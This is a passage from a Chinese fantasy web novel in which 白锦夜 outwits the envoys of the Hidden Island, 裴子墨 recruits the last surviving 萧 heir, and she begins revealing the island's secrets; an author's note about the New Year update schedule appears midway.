“大概吧。”白锦夜轻笑了一声,“他们在那海岛上太过闭塞,人和人之间的关系又单一,看着我们跟看蝼蚁一样,大概并不知道我们会在这种事上做了什么手脚。” “哎。”左辞叹了一口气,“所以我觉得他们哪里没什么好的。” “你这样想就好。”白锦夜转头看了他一眼,随即垂下眼,不知道在想什么。 隔了会,左辞才低声道,“王爷,月城那边的人传信,前几日王妃和鬼卿……从鬼王沙漠那边过来了,但是完全没有停留,一路都在极快的赶路,他们若是来盛京,按照路程,这两日应该就快到了。” “他们不会来盛京的。”白锦夜回道,“鬼卿回去的时候就知道这些人在盛京,所以他们不会来这里。”他说着轻轻皱起眉头,那么只要他们是在天风国,能去的地方恐怕也不多了,“平县那边有什么消息?” “那处寺庙倒塌了,周边村子的人一开始还害怕那老和尚和中年和尚被压在废墟里,他们扒开了废墟,也没见人影,估摸着那两个和尚是走了,但是去哪就不知道了。”左辞说着又问,“要派人四处打探一下么?” “不用。”白锦夜摇了摇头,就算找估计也是浪费人力物力,不太可能找得到,“他们来了,肯定是有事要办,咱们想办法拖延些时间就好了。”他说着看向窗外,“既然裴子轩走了,剩下裴子衿一个人……咱们就得好好尽尽地主之谊了。” 第二日,皇后便着人邀请裴子衿进宫坐坐。 裴子轩走之前有交代,让裴子衿尽量对天风国皇室的人表现出一些和善,毕竟如今这些人还是白锦夜眼里的亲人,另外就是尽量躲着一点白锦夜,不要再什么话都告诉他。 所以皇后邀请她入宫,她即便不愿意去,可也没有拒绝。 进宫之后就被皇后带到花园里赏花,赏得她昏昏欲睡,只想早点回去。 正想找个借口离开的时候,便感到了什么,一转头就见到白锦夜跟白风御朝这边走过来,眼里顿时一喜。 皇后看了她一眼,她本来对他们也没什么兴趣,今天邀请她入宫也是受白锦夜所托,裴子衿不感兴趣,她也没有多想跟她说话。 见到白风御他们终于过来,皇后也站起身,迎了过去。 白风御见到两个人分坐在凉亭的两端,就知道大概是话不投机,便笑道,“真是巧,朕正叫了八皇弟来聊事情,原来皇后约了裴姑娘么?” “事情也聊完了,臣弟就不多打扰了,这便出宫了。”白锦夜看了裴子衿一眼,转身要走。 “王爷。”裴子衿下意识的出口叫住他,犹豫了才道,“我也要出宫了,我们一起走吧。” 皇后早就巴不得她赶紧走,于是立刻道,“那就有劳王爷送裴姑娘了。” 白锦夜可以拒绝裴子衿,但是却不能拒绝皇后,他沉默了下点点头。 裴子衿进宫半天,从来没有一刻觉得皇后这样顺眼,甚至对着她笑了笑,就立刻跟上了白锦夜的脚步。 看着两个人离开的背影,皇后轻轻皱起眉头,“这裴姑娘的意图这么明显,肃亲王不躲远点,将来不怕成了甩不掉的麻烦么?” 白风御抬手揽住她的腰,“若是有人要伤害你,我也能虚与委蛇地应付着。” 皇后眉头皱得更紧,这些遁世岛的人来京的目的她也听说了些,难道那些都是表象么?实际上是为了白锦夜的王妃? 之前肃亲王妃的事她自然都知道,况且楚星玄他们在西河城住了很久,她当然知道他们都不是普通人。 她轻轻叹了一口气,“不会出什么事吧?” “放心吧。”白风御看着她,“他们在京中什么都找不到,自然就走了。” “但愿。”皇后点点头。 白风御看向白锦夜离开的方向,只不过……就算找不到裴子墨,也不代表他们就放弃白锦夜了,但这些事也没必要说出来让皇后担心了。 裴子衿本来想着只跟白锦夜出宫,她什么都不说,就不会再被白锦夜套话了。只要能跟着他并肩走一会,她也开心了。 出了宫门,白锦夜已经准备上马车了,犹豫了下,又看向裴子衿,“既然皇后让本王送你,那本王便送你到驿馆吧。” 裴子衿站了会,转头看了眼给自己使了眼色的随从,沉默了好一会,才点点头,“好。”说完也不等随从阻止,就上了白锦夜的马车。 白锦夜对着左辞微微点点头,也上了马车。 左辞赶着马车,左转右转,很快就把后面的马车落了一大截。 裴子衿微微感觉到一丝不对,驿馆到皇宫的路她也走过几回了,但肯定不是这条路,她正要问,就见马车地板发生了一点变化,她低头看着环在马车座椅周围的黄泉路,有些差异地看向白锦夜,“你会引出黄泉路?” 白锦夜看着她,他引出黄泉路只是为了隔绝裴子衿气息,防止她的随从追上来,“是啊,不过……本王不太会控制,有时候它出来,本王也不知道怎么收回去。” 裴子衿脸上带着惊喜,“这是六长老一脉特有的能力,没想到你转世之后还有这样的能力。而且我听说,六长老一脉也不是所有人都能打开黄泉路,你在没人指导的情况下,能打开黄泉路已经很好了!六长老知道了一定很开心。” “是么?”白锦夜沉默了一会,才问道,“这路打开能做什么?” “这毕竟是六长老一脉的事情,我也知道的不是很清楚,但是如果你跟我们一起回去,六长老一定会亲自教导你。”裴子衿开口道,“总之,据我所知,六长老虽然排第六,但就因为这黄泉路,连大长老对他说话都客客气气的,因为这世间的任何术法都破不开黄泉路。” 马车靠着路边停了一下,换了另外一个车夫,左辞下了车,驾着另外一辆马车往城外走去。 白锦夜从门帘缝隙撇了一眼,等马车又走了一段,才问道,“裴公子去哪了?” 第399章 她在控制术上造诣惊人 裴子衿想了会,觉得裴子轩的去向也没什么避讳的,便直接道,“他去了宛阳。” “还真是去了宛阳?”白锦夜倒是不诧异,“他之前向本王打探了萧家的事情,本王告诉他萧家一家去了宛阳。” 见白锦夜也知道了萧家的事,裴子衿多少也放心了,“是的,我哥跟萧家的祖上有些渊源。” 白锦夜垂下眼,隔了会才试探地问道,“萧家这几年已经趋近于没落,不过本王倒是听说他们家祖上有个叫萧玲珑的人。” “你听过萧玲珑?”裴子衿这下倒是没想到,“那萧玲珑就是我哥的旧识。” “是么?”白锦夜盘算了会,“萧玲珑起码也是千年前的人了,那会你哥便来过这里么?” 裴子衿点点头,沉默了会,没有回答,而是反问,“既然萧玲珑是千年以前的人,你又怎么会知道?” “是萧家的人告诉本王的。”白锦夜说着继续道,“本王的王妃,便是因为萧家的事才丧命,萧家说欠本王一个人情,还说什么若是能找到他们祖上的这位,就能复活本王的王妃。”他轻笑了一声,“人都死了,还有什么复活这种事?不过本王起初还以为他们不过是随便编出来个先祖,没想到竟然真有此人?” 裴子衿轻轻叹了口气,“确实,那大概也是千年之前了,我哥来也是为了传遁世岛的任务,结识了萧玲珑,之后……”她说到这又停了下来,顿了会,才转口道,“我哥和她毕竟有些交情,其实之前便算到萧家最近可能有场劫难,现在不知道还来不来得及了。” 白锦夜轻轻眯了眯眼,若是普通的交情,裴子轩作为遁世岛的人,可不会这样在意萧家的人,不过知道这一点,已经足够了,他没必要在这件事上深究,便没再说话。 裴子衿犹豫了会,开口问,“你能让我看看,你的身体现在是怎么回事么?” 白锦夜倒也没有拒绝,撩起袖口,就把手伸了过去。 裴子衿诊了会脉,脸色有些许的凝重,“所以你真的见过我姐姐对不对?” “本王确实不清楚。”白锦夜摇了摇头,“此前,本王身中奇毒,不久于人世,确实是有位神医救了本王,本王不知道她用了什么法子,不过若是你说那可能是你的姐姐,也许就是吧。本王这身体,有什么奇怪么?” “我能感觉到你身上阵法和符咒的气息,但是却不知道这阵法和符咒的头尾在哪里,也不知道该如何解开,我也能感觉到其中几个阵法和符咒都是用来控制人的。”裴子衿说着顿了下,补充道,“我姐姐在控制术上造诣惊人,她当初能带着你离开遁世岛,就是因为控制了掌管遁世岛进出的二长老。” “十位长老在遁世岛都是顶尖的存在,她能控制二长老一事,让所有人都很惊讶,甚至根本不相信。可是二长老是出了名的严苛以及古板不会变通,显然也不会帮她骗人。” 白锦夜垂下眼,“本王确实不相信你说的话,她当初能破坏你的婚事,估计是有长老的默许,不然婚礼不会中断,既然从小到大,你们这些弟妹都看她的脸色过日子,遁世岛的长老又都偏爱她,就不会有她得不到的东西。” “她也完全没有必要离开遁世岛,你都说了她是被当做下一任岛主来培养,等她成了岛主,就更没什么得不到了,会因为这点小事离开遁世岛?” “是真的!”裴子衿有点急,“我真的没有骗你,我说的所有的,都是真的!” “也有可能。”白锦夜点点头,“你说的确实是真的,但是……可能你本来知道的就是事情的一部分呢?你怎么能保证遁世岛的所有事情你都知道得一清二楚?在你自己都没弄清楚这些事之前,本王是不会相信你的话,也不会跟你去遁世岛的。” “也不要说,让本王相信你的记忆,本王曾经见过一个女鬼施展的幻术,可比你那些真实多了。” 裴子衿捏着衣角,“确实,遁世岛的事有些是我不知道的,我们每个人各司其职,我在遁世岛,负责教小孩子术法,我姐离开之后,遁世岛的大部分事务都由我哥来负责,他确实也不会对我提起太多。” 白锦夜转头看向窗外,没再说话。 裴子衿抿了抿唇,又问,“你能引出黄泉路的事,我姐知道么?” 白锦夜捋着袖口,思索了会,道,“知道。” “知道?”裴子衿诧异地看着白锦夜。 “怎么了?你也看到本王控制不了,你都知道了,她怎么可能不知道?”白锦夜笑道。 裴子衿拧着眉,“那她有没有……让你带她去地府?” “去地府?”白锦夜也蹙起眉,“开了黄泉路就可以带她去地府么?” 裴子衿闻言,便以为白锦夜不知道去地府的方法,更没有带裴子墨去过,也微微放了心,“你现在可能还是不想跟我们去遁世岛,但是如果在去遁世岛之前,我姐姐找上你,你千万不要带她去地府。” “为什么?”白锦夜开口问道。 裴子衿摇了摇头,没有说话。 白锦夜轻笑一声,“她给本王解毒,对本王有救命之恩,若是本王知晓如何去地府,她又有这样的要求,本王总不会袖手旁观,除非……你有什么正当理由。” 裴子衿咬着唇,嘴唇都咬白了,满脸都是挣扎,最后还是开了口,“我哥说,地府的人在帮她,好像为了不让她被遁世岛找到,地府帮了很大的忙,把她的某样东西封印在了地府,一定要去地府才能取回。我们也知道,她这几次转世,其实都找过你,但以前的你,都没有办法开出黄泉路。” “可你不是也说了,她在本王身上留下了控制的法阵,就算本王不带她去,恐怕她也有办法去吧?”白锦夜继续道。 裴子衿的脸色白了白,“你说得对,这件事我得跟我哥好好商量一下。”说完便掀开窗帘,向外面看了看,“怎么还没到驿站?” “快了,前面这条街,拐过去就是了。”白锦夜随口回了一句,又过了没一会,马车上的黄泉路也慢慢消失。 第400章 萧家已经几百年没有人觉醒预见未来的能力了 白锦夜确实没有骗人,从街角拐过去,就看到了驿站。 裴子衿的随从正站在驿站门口,一脸的惊慌。 “你的随从担心你了。”白锦夜轻笑了一声,“本王只是带你走了另外一条路而已,本想让你多看看盛京的风土人情,没想到一直聊天,忘了提醒你看了。” “没事。”裴子衿摇了摇头,“下次吧。” 白锦夜没有说话,目送着裴子衿下了车,看着她急匆匆的往驿站里面走。 随后吩咐了驿站的人盯着他们的行踪,若是有人离开,便立刻通知他。 不过一直到傍晚,也没见裴子衿和她的随从离开驿站,看样子,她应该是有什么办法可以直接和裴子轩联系。 不过跟着裴子轩那边的人,也没有通知裴子轩往回走的事情,看样子他即便是知道了,也还是选择先去宛阳城,毕竟他以为到那就能找到萧家的人,可裴子墨行踪不定,他回来也只能守株待兔。 只不过……白锦夜唇角勾起一抹笑,等裴子轩到了宛阳,也只能看到萧家的坟地了。 * 裴子墨和鬼卿等在客栈,一直到天快亮的时候,萧尺寒才到了。 他身上有血,受了伤,好在不是特别重。 马车都已经备好,便直接带萧尺寒上了车。 裴子墨一边给他处理伤口,一边问了下始末。 前面的事,也几乎在意料之中,寺里的人没有阻拦萧尺寒下山,萧尺寒就怕路上出什么问题,便尽快赶路,可还是在进临漳城之前被拦住了。 对方也会些术法,萧尺寒本身的术法也没有多高,两个人倒是半斤八两。 只不过对方出手毒辣,又会些阴狠的术法,所以萧尺寒吃了亏。 但对方也没有要萧尺寒的命,只是问他裴清歌在哪。 他说裴清歌死了,对方也不信,就说让他给裴清歌带句话,说“姓陆的还有帐跟她算”。 “姓陆?”裴子墨皱起眉头,想了半天,才在脑海里搜刮出一个名字,“陆绝?” 萧尺寒想了会,也想到了这个人,“是原来肃亲王府上那个神医陆绝?他也会术法?” 当初裴黎猜陆绝背后的人,是她那位师叔,但是裴子墨恢复了些记忆之后,自然知道陆绝的人背后不是鬼卿。 只不过她也没怎么把陆绝放在眼里,当时他从衡王府跑了之后,没人知道他去哪了,她早就把这个人给忘到脑后了。 “算了,不用管他。”裴子墨说着低头算了算,“你确实有一劫,是别人帮不了你的,但不是这劫。”她的眉心慢慢蹙起,“那这恐怕会有些变故。” “什么意思?”萧尺寒不解。 裴子墨也没有说破,按理说,萧尺寒该遇到一劫,险象环生,但之后也会觉醒预见未来的能力,可如今他没有遇到这劫,也就是现在完全没有预见未来的能力,“有些际遇是随着劫难的。” 萧尺寒沉默了会,才道,“我出来的时候,住持托人送了我一本经书,说是让我随身携带,以后没事多看看。”他说着从怀里把经书拿出来。 经书的封皮染了血,血迹有些干涸,已经擦不掉了。 他翻开经书,里面却都是一页页的空白,只在中间的某一页上,大字写着“苦海无边,回头是岸”。 裴子墨眯眼看着这八个大字,在上面感受到了一丝术法的波动。 她转头看向窗外,所以萧尺寒的这场劫难被大昭寺的住持破掉了,他没有应劫。 她想起前天那住持脚步匆匆的来找萧尺寒,他当时便大概知道已经没办法阻止萧尺寒出寺了,所以只能用这种办法,只要萧尺寒不觉醒预见未来的能力,很多事大概就可以避免。 她叹了口气,而她来找萧尺寒,也确实就是为了预见未来这件事。 那本书上的字,她依旧认不全,可如果配合上萧尺寒的能力,说不定那书的作用就真的能发挥出来了。 “怎么了?”萧尺寒开口问道。 裴子墨摇了摇头,“无事,劫难化解了,际遇就没了,但是是你的总是你的,这一次不行,也许就要下一次了。” 反正这世上,如今萧家人就剩下萧尺寒,早早晚晚有机会的。 裴子墨轻轻眯了眯眼,才道,“我之前跟你说,如果你能帮地府一个忙的事。” 萧尺寒赶紧点头,就等着裴子墨提起这件事了。 裴子墨继续道,“这么多年,都有一股势力在和地府作对,他们每隔一段时间,就会对地府那边动一次手,但是每一次规模也不大,可是却闹得地府心烦,地府想要找个机会,把这件事彻底解决。” “但是地府的人,到了人间后,很多能力受到限制,没办法跟对方硬碰硬,所以只能从人间找人帮忙。” “只要你愿意帮忙做这件事,一旦事成,地府可以放过萧家的所有人。” “但是呢?”萧尺寒反问道。 “但是这件事很危险,可以说九死一生。”裴子墨看着他,“所以选择权在你。” “活着对我来说,已经是一种折磨。”萧尺寒说着抬眼看向马车外,赶马车的人,他早就已经认出来,便是当时要杀他的那个人,如今他不是对手,也不可能替萧家报仇,这样的日子对他来说,每刻都是煎熬。 裴子墨转头看了一眼,鬼卿和萧家的事,她已经大致给萧尺寒讲过了,这件事暂时也没有必要再提,“好。” “那地府要对付的人,是谁?”萧尺寒又问。 “遁世岛。”裴子墨直接道。 “遁世岛?”萧尺寒微微皱眉,“就是这些日子发了告示的那个遁世岛?” 裴子墨点点头,遁世岛的告示已经瞬间传得人尽皆知,这会估摸着东凉国和西夜国的人也都知道得清清楚楚了,“如今,我们都不是遁世岛的对手,所以只能智取。但我们有一个优势,就是你,你如果觉醒萧家的能力,便可预见未来,到时候我们的胜算就会大很多。” 萧尺寒轻轻摇了摇头,“萧家已经有几百年,没有人觉醒预见未来的能力了,就算我想,我也不见得可以。” 第401章 他被白锦夜耍了 “别人不可以,不代表你不可以。”裴子墨眯了眯眼,本来萧尺寒的机缘已经到了,这一次若是觉醒预见未来的能力,此刻应该已经见到些许未来的景象。 可是因为大昭寺主持的插手,这件事暂时没有发生,这样的机缘就不知道什么还会再有了。 她轻轻叹了一口气。 沉默了会,萧尺寒才问,“那我们现在去哪?” “去一个安全的地方,我们也许还有帮手在那里。”裴子墨开口道,这次出来只是为了找萧尺寒,就没让寒羽跟着一起出来,但是他们出发的时候,也让他去后山断崖那里找找路,看看能不能下断崖,找找紫翅天鹏。 按照正常的情况,紫翅天鹏大概也要个几年才能彻底消化那枚丹药,但也不是没有办法提前唤醒,如今恐怕也没有太多时间等它醒过来,多一个人帮忙,多一点准备,她心里也能多放心些。 * 裴子轩在宛阳四处打探,才知道这里曾经确实有个萧家,后来有人做了大官,搬去了京城。 这一家走了很多年,一直也没什么音信。 不久之前,这萧家人确实是回来了,只不过不是活着回来的,而是被府上的下人用棺材抬回来的。 听说是萧家的人都死了,只剩下忠心耿耿的老管家带着下人一起扶灵回了老家,把萧家的人都葬在了萧家的祖坟。 裴子轩压根没想到会是这种情况,便赶紧到了萧家的祖坟。 这半片山上的坟包,昭示着萧家曾经也是个繁盛的家族,可如今,却一个人都没有了。 坟地不远处,有一个小小的草棚。 草棚里的人便是萧家的老管家,他这一辈子都在萧家,孤家寡人一个,离开了萧家也不知道去哪,于是打发了下人之后,便来给萧家守坟了。 他们对外都是说萧家已经无人存世,毕竟对方看着就是要萧家绝种,他们只希望对方还不知道萧尺寒的下落,说不定还能保下萧家这最后的血脉。 老管家在这里守坟,便是等萧尺寒知道萧家的变故,前来拜祭的时候,还能告诉他那萧家的仇人长什么样。 只是已经过去这么久了,萧尺寒却一直都没有来,他有时候在想,是不是萧尺寒也死了。 有几次都想过去找萧尺寒,他若是真的也不在了,起码能把他的尸骨收到萧家的祖坟,让萧家一家团圆,但他又不敢,怕对方还在盯着他,一旦他找上萧尺寒,就会把对方带到萧尺寒面前,给萧尺寒带来杀身之祸。 而自萧家下葬以后,基本上没有人来萧家的坟地拜祭。 老管家一开始还在唏嘘,想着萧家这么多年,最后连个拜祭的人都没有。 可后来逐渐的,他也想明白,这些年,但凡跟萧家关系走得近的人家,似乎都比萧家更早出事了。 没想到,最后轮到了萧家的头上。 所以裴子轩一到,他就立刻看见了,只不过看着这男子眼生,以前也没见过这人到家里来,但来人是客,他赶紧迎了上去,“公子,是来拜祭么?” 裴子轩微微眯了下眼,“你是守坟的?” 老管家点点头,叹了口气,又看了看裴子轩,见他空着手,便道,“我那里还有些香烛纸钱,我去给你拿来吧?” “不用。”裴子轩摆了摆手,抬手往前指了指,“我问你,萧家发生了什么事?萧家所有的人都在这了么?” 老管家把萧家的事情说了遍,又把那杀人的人的模样大概描述了下。 “那人都说过什么?”裴子轩又问。 老管家摇了摇头,“没说什么,就说让不姓萧的都离开,但凡姓萧的,一个都没放过,连那些嫁出去的小姐们,也全都没留。” “一个下人都没伤害?”裴子轩眯起眼。 “是。”老管家应了声,想起什么,又赶紧补充,“我们这些下人本该护主,可那人不知道做了什么?我们就全都都动不了了,只能眼睁睁地看着他行凶。” 裴子轩沉思了会,“你们家主也没时间留下个只言片语?” “老爷只是说,让我们把家产分了,把萧家人的尸首全都送到这里来安葬,其他的,就没再说什么了。”老管家低下头,垂下眼,敛去了眼底的异常,萧公瑾自然不只是说了这些,但是眼前这个人他不认识,也不敢多说。 裴子轩点点头,转身便往山下走。 老管家看着他离开的背影,也不知道这人是什么人,是什么意思,不知道……是不是来试探什么的。 他想了想,赶紧转身回了草棚,找了个铜盆,点了几张黄表纸,随即把之前画下来的那个凶手的画像全都烧掉,一边烧一边低声念叨,“老爷,你们在那边一定要保佑小少爷平平安安,保佑他们找不到小少爷啊。” * 裴子轩下山的时候,自然就知道了白锦夜在骗他。 如果萧家的家主是天风国的高官,那全家遭此横祸,白锦夜不可能不知道,可是他还是告诉他萧家的人回了宛阳…… 这就是为了支开他。 他眯着眼睛想起前些日子裴子衿给他传话说的话,当即也没有再停留,立刻带人往盛京赶。 一路奔波,到了盛京城外,他才隐约的想明白了一件事,他被白锦夜耍了—— 白锦夜不只是为了支开他,还是为了拖延时间。 而他在帮谁拖延时间,显而易见。 就在这一瞬间,他几乎彻底的确定,白锦夜一定还和裴子墨有接触,甚至……裴子墨可能就在盛京城。 他连驿站都没回,就往白锦夜的府上去。 却被告知白锦夜南下去探亲了。 众人都知道,白锦夜的外公告老还乡之后在复州,就连张太妃也去了复州,所以显然白锦夜此行的目的就是复州。 站在王府门口,裴子轩冷笑了一声,白锦夜,对你好言相劝你不听,非要跟裴子墨搅到一起,那就别怪我不客气了。 他转头看向身后的随从,“你去追白锦夜。” “追上了带回来么?”随从开口问道。 裴子轩摇了摇头,做了一个杀的手势,“去吧,别让小姐知道。” 第402章 是我把你骗出来的 白锦夜带着左辞等人从盛京出了城,只往南边走了一段,就转头往月城走了。 他知道,只要裴子轩从宛阳回来,就会知道他在骗他,之后不会再相信他说的任何话,甚至也不会再跟他商量什么,如果想要带他回遁世岛,可能就要直接动手了。 裴子墨和鬼卿他们前几天从月城走过,进了天风国。 估摸着办完事,还是要从月城返回的,所以只要他等在月城,也许还有希望碰上裴子墨。 他想的倒也没有错,在他到月城的第二天,便被通知远远的见到裴子墨和鬼卿的马车朝这边走过来。 鬼卿不需要休息,所以他们选择了马车,到了驿站就换马,需要休息的时候,裴子墨就在马车上睡,一路基本上都没耽搁什么。 来去也快,如果不是白锦夜也加快了赶路,估摸着就要错过了。 裴子墨他们到了月城,也没有打算在月城停留,但刚出了城,就见到城外的白锦夜。 鬼卿犹豫了下,马车也放慢了速度,转头看着马车里面,“要停下来么?” 裴子墨微微皱起眉头,月城是白锦夜的地盘,她在这里来回走,白锦夜当然会知道,显然在这里是为了等着她。 犹豫了片刻,她才对鬼卿点点头。 鬼卿停下了马车,裴子墨下来,迈步走向白锦夜。 她眯眼看了他半响,等在他面前停下来的时候,就直接开口问,“你见过遁世岛的人了?” 白锦夜点点头。 裴子墨笑了笑,“看样子,你也应该知道了什么,特意等在这,就是为了要问我什么。”她说着顿了顿,“想问什么,就问吧。” 白锦夜沉默了会,也没有问什么问题,只是说,“这一次遁世岛来的两个人,一个人叫裴子轩,一个人叫裴子衿。” “他们两个人?”裴子墨轻轻眯了下眼,难道是她过度紧张了?如果遁世岛是为了她,绝不可能派这两个人来,“没有别人了?” “还有三个人,但看样子是他们随从。”白锦夜道。 裴子墨在原地来回走了几步,才道,“裴子轩和裴子衿算不上什么,如果遁世岛真的有什么事要做,那三个人才应该是核心人员。” 白锦夜有些不解。 “遁世岛的岛主看起来权力大,儿子女儿们就好像……你们这里的王爷公主一样,实际上还不是受十个长老摆布?”裴子墨说着轻轻捏了捏袖口,“一次性来了三个长老,这次倒是前所未有了。” 白锦夜想了会才道,“我觉得那三个人不像是长老,他们对裴子轩两个人很恭敬。” “或许就连裴子轩他们也不知道有长老跟他们一起来了呢?”裴子墨笑了一声,随即才道,“这么说,你已经见过裴子衿了。” 白锦夜垂下眼,隔了会道,“她给我看了一段她的记忆。” 裴子墨看着他,“既然是她的记忆,那应该是真的。” “可我不信。”白锦夜开口,“或者说,我不是完全不信,我只是觉得,这里肯定有什么隐情,你不是那种为了这种事就会背叛亲人的人。” “你了解我么?”裴子墨轻声道,“你根本不知道我是什么样的人,你看到的,都是我封印七情六欲后的样子,你怎么知道在七情六欲没有被封印之前,我不会为了这样的事情,做出什么冲动的决定?” 白锦夜轻轻皱了一下眉头,“你会为了我……我的前世做出那样的决定?” 裴子墨看向远处,好半天之后,叹了口气,“是我把你骗出遁世岛的,因为我需要你帮忙,在遁世岛之外,已经很多年没有人能打开黄泉路了。” “即便在外面有能力通阴阳的人,也只能开冥路,但是打不开黄泉路,无论什么样的办法,都没办法激发他们的这个能力。” “所以,我只能把你骗出来。” “你们……你们家一脉都有这个能力,当然最出色的是你大哥,可他被家族重视,若是离开,势必引起更大的连锁反应,你是你们家的小儿子,本来也没有被寄托多大的期望,从小活得像个纨绔子弟,术法一般。” “你们家族不重点培养你,你一开始乐得逍遥自在,但是后来我让你见识到了术法的强大,你尝过术法带来的好处,便每日偷偷跟我一起修习术法。” “不过天赋还不错,没多久在术法的造诣上就超过了你大哥。 裴子墨说着顿了顿,“你大哥,还有你的两个姐姐,都死在我手上。以前你们感情很好,若是你还记得那些事,你肯定会恨我。” “但已经是前世的事不是么?如果每个人都记着前世的事,每个人都记着前世的仇人,这世上冤冤相报,恐怕也没人会过得踏踏实实、开开心心。”白锦夜开口的道,“既然已经忘了,我也不想再记起来。或者说……你一直不愿意教习我术法,不就是不希望我记起那些事情么?” 裴子墨微微摇了摇头,“裴子衿大概也说过了,只要你想起以前的事情,一定会跟她在一起。我不想让你记起,确实……也是因为如此,我不想自己再多一个敌人。” “那你为什么今天又跟我说这些?”白锦夜开口问道。 “因为……他们这一次来的太早了,我没办法阻止他们带你离开,只要他们把你带走,你到了遁世岛,想起以前的事情,我们还是要站在对立面上。如果你的家人,让你杀了我为你的哥哥姐姐报仇,你可以拒绝么?”裴子墨轻笑了一声,“他们很快还会再找到你,到时候……应该就是你回到遁世岛的时候了。” “我不知道那是什么地方,我也根本不想去那里。”白锦夜上前一步,抓住裴子墨的手腕,“我在这里等你,是因为只是想要提醒你……” “你和裴子衿是相爱的,从小青梅竹马,你一开始偷偷跟我学习术法,也是因为不想裴子衿再被欺负,也是希望我作为长姐,善待裴子衿。”裴子墨打断他的话,“她没有骗你。” 白锦夜抿了抿唇,沉默了一会,最后问,“好,那你告诉我,你是怎么骗我的。” 春节期间更新说明 宝们~新年快乐,兔年大吉~ 原则上这几天要加更的,但是过年期间走亲戚打麻将什么的,就先每天保证保底2更。 每天欠1更。 欠的更新从初五或者初六开始补~ 祝大家在新年里,阖家安康,平安幸福,远离新冠,大展宏兔~ 第403章 一切开始的地方 裴子墨抬眼看着他,良久,才轻笑一声,“女人骗男人,还能怎么骗?”说完便转身要走。 白锦夜却没有放手,“我不信,你说的这些,我都不信。” 裴子墨垂眼看着地面,手轻轻握成拳,隔了好半天,转过身,凑过去,在白锦夜的唇上轻轻吻了一下。 白锦夜怔了一下,手下意识的松开,但脚步却没有后退。 裴子墨也没有退,极近的距离看着他,低声道,“等你回了遁世岛,帮我一个忙。” “我不去遁世岛。”白锦夜重复了一遍,“我不知道那是什么地方,我不了解那里,我也不想接受什么所谓的前世,我觉得现在就很好。” “你得回去,你也不得不回去。”裴子墨轻声道,“他们这次出来,不达成一点目的是不会回去的,你出来这么多年,也该回去了。” “那你呢?”白锦夜开口问道。 “到了合适的时候,我大概也会回去吧。”裴子墨笑了笑,“等你回去,一定会见到遁世岛的六长老,到时候,你把我和你的事,都告诉他。” “就这个?”白锦夜皱起眉头。 “对,就这一点。”裴子墨点点头。 白锦夜不明白她的意思,“子墨,到底是什么事,遁世岛发生过什么事,你要告诉我,不然我就像一个傻子一样,什么都不知道。” “我不能告诉你。”裴子墨抬手按在白锦夜的胸口,“问你自己的心,你相信的,你不相信的,你想做的,你不想做的,有些事情你现在知道的太多了,对你和我来说……还有更多的人来说,都是灭顶之灾。” “你真的会来遁世岛么?”白锦夜又问。 “那是一切开始的地方,一切终究要在那里完结。”裴子墨说着往后退了两步,“你再见到裴子轩,就告诉他,你已经见过我了,你转告他,就说是我说的,他还是和以前一样没出息,遁世岛在他的带领下,迟早会从这个世界上彻底消失。” 白锦夜的眉头死死地拧在一起,盯着裴子墨,“你既然躲着他,又何必现在挑衅他?” “我没有躲着他,是他找不到我而已。”裴子墨说着抬头看了看天色,“我们该出发了,你记得我说的话,多保重吧。” 说完也不等白锦夜再说话,就迅速的往马车那边走去。 白锦夜看着她上了马车,又目送着马车快速往鬼王沙漠的方向驶去,等看不见了,才回过神,抬手摸了摸自己的嘴唇,转过身,上马进了城。 鬼卿驾着马车走了一段,又停了下来,抬手掀开车帘,看向萧尺寒,“你去驾马车,走到沙漠的时候停下来。” 萧尺寒在鬼卿掀开车帘的一瞬间,就绷紧了全身,看向他的目光中全都是杀意,根本不想听他的使唤。 裴子墨见两个人剑拔弩张的对视,这会鬼卿肯定也是有事情想问,便开口道,“萧公子,麻烦你驾会马车吧。” 隔了好一会,萧尺寒才终于起了身,用肩膀撞开鬼卿,出了马车。 鬼卿既然答应裴子墨放过萧尺寒,眼下这种时刻也不会在这种事上计较,在萧尺寒撞了他之后,他甚至又让了让,等萧尺寒彻底从车里出去,才上了马车。 他抬手设下一个可以隔离声音的阵法,随即才道,“白锦夜上次离开的时候,像是心灰意冷,我和他一路出来,他甚至几番交代我要好好照顾你。” “再之前,阿鸢也曾建议过我,她希望我和你在一起。” “不过我知道不可能,而且在圣殿的这段时间……我确实一直把你当妹妹,我希望有些事你不要一直自己扛着。白锦夜等在这,也无非是想把遁世岛最新的动向告诉你。每个人其实都在想帮你,你也没必要把所有人都拒之门外。” 听了鬼卿的话,裴子墨轻声笑了笑,“我曾经认识过一些人,我当时也觉得我们是很好的朋友,他们更是满口答应了会帮我,可真的到了劫难面前,还愿意伸出援手的,真的没有几个。” “每一个人都有软肋,即便有些人想要帮我,可一旦被人抓住软肋,好一点的,只是退出这件事,不再帮我,更多的甚至直接站在我的对立面。一开始的时候,这两种人我都不能接受,后来我才觉得,对于第一种人,我都已经应该感激了。” 她说着看向鬼卿,“如果有一天,他们抓了阿鸢要挟你,要你来杀我,你会怎么办呢?” 鬼卿皱起眉头,没有说话。 “有时候,有些事看起来是选择题,可实际上,你却只能选择那唯一的一个答案。”裴子墨倒也不意外鬼卿的选择,“所以经历过这些之后,我觉得,只能让所有的事情都在自己的掌控之中,不出现任何一点意外和变动,我要做的事情,才有可能成功。” “可如果我杀了你,阿鸢一定会恨我。”鬼卿这才开口,“到时候说不定她要杀了我给你报仇,从此一辈子都不会开心。” “我只是打个比方而已。”裴子墨叹了口气,“我也一样有软肋。” 鬼卿拧眉盯了裴子墨一会,才道,“我想听听遁世岛的故事。” 裴子墨垂眼看着地面,思索了半响,终于轻轻地开了口,“我有些记忆还没恢复,想到些什么,便跟你说些什么吧。” “遁世岛和九域十二颠里的十二颠组成其实差不多,裴家是岛主,另外有十个长老。裴家虽然地位凌然,但实际上家主却被十个长老操控,很少能自己决定什么事情,与其说岛主,不如说是傀儡。” “那一世我是遁世岛岛主的长女,从小就被宠爱,拜在大长老门下,其他九位长老也会传授我术法,他们都说我天赋极高,千年难得一遇。” “按照他们的规划,我就该努力修习术法,准备继承岛主的位置,即便天赋极高,将来也要被长老们摆布。” “直到——我发现了遁世岛的秘密,原来遁世岛根本不是十个长老,而是十一个。” “他们更不是别人,就是最初的‘十一公’。” 第404章 初代“十一公” 鬼卿怔了一下,他生活的年代,便是末代‘十一公’存世的时候,那么遁世岛,就是一切的源头么? “很多很多年以前,初代‘十一公’就生活在这片大陆上,后来他们参透了这世间运行的规律,便营造了自己死亡的假象,从此遁世海外小岛,也是因此,那个岛才叫遁世岛。” 